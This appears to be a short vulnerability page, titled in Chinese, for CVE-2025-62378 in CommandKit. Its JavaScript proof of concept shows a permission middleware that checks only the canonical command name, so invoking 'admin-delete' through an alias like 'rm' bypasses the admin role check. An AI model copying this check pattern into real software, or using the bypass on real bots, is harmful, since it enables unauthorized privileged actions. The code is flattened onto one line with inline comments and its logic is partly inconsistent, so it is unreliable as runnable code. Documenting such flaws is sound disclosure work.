CVE-2025-62378：CommandKit消息命令别名处理逻辑缺陷漏洞

// CVE-2025-62378 PoC - CommandKit commandName alias confusion // This PoC demonstrates the vulnerability where ctx.commandName // returns the alias instead of the canonical command name. const { CommandKit } = require('commandkit'); // Define a command with an alias const adminCommand = { name: 'admin-delete', // canonical command name aliases: ['del', 'rm', 'remove'], // aliases that trigger this command run: async (ctx) => { // VULNERABILITY: ctx.commandName returns the alias used, not 'admin-delete' console.log(`Command name received: ${ctx.commandName}`); // Expected: 'admin-delete' (canonical name) // Actual (vulnerable): 'del', 'rm', or 'remove' (alias used) // Dangerous operation based on command if (ctx.commandName === 'admin-delete') { // This check would fail when called via alias! await performAdminDelete(ctx); } } }; // Middleware that relies on canonical command name for permission checks const permissionMiddleware = async (ctx, next) => { // VULNERABILITY: ctx.commandName is the alias, not 'admin-delete' if (ctx.commandName === 'admin-delete') { if (!ctx.user.roles.includes('admin')) { return ctx.reply('Permission denied'); } } // If permission check is bypassed due to alias, unauthorized execution occurs await next(); }; async function performAdminDelete(ctx) { // Simulated admin delete operation console.log('Admin delete operation executed!'); } // Exploitation: User invokes via alias 'rm' instead of 'admin-delete' // The middleware check 'ctx.commandName === "admin-delete"' fails // because ctx.commandName is 'rm', allowing bypass // Then the run function also receives 'rm' as commandName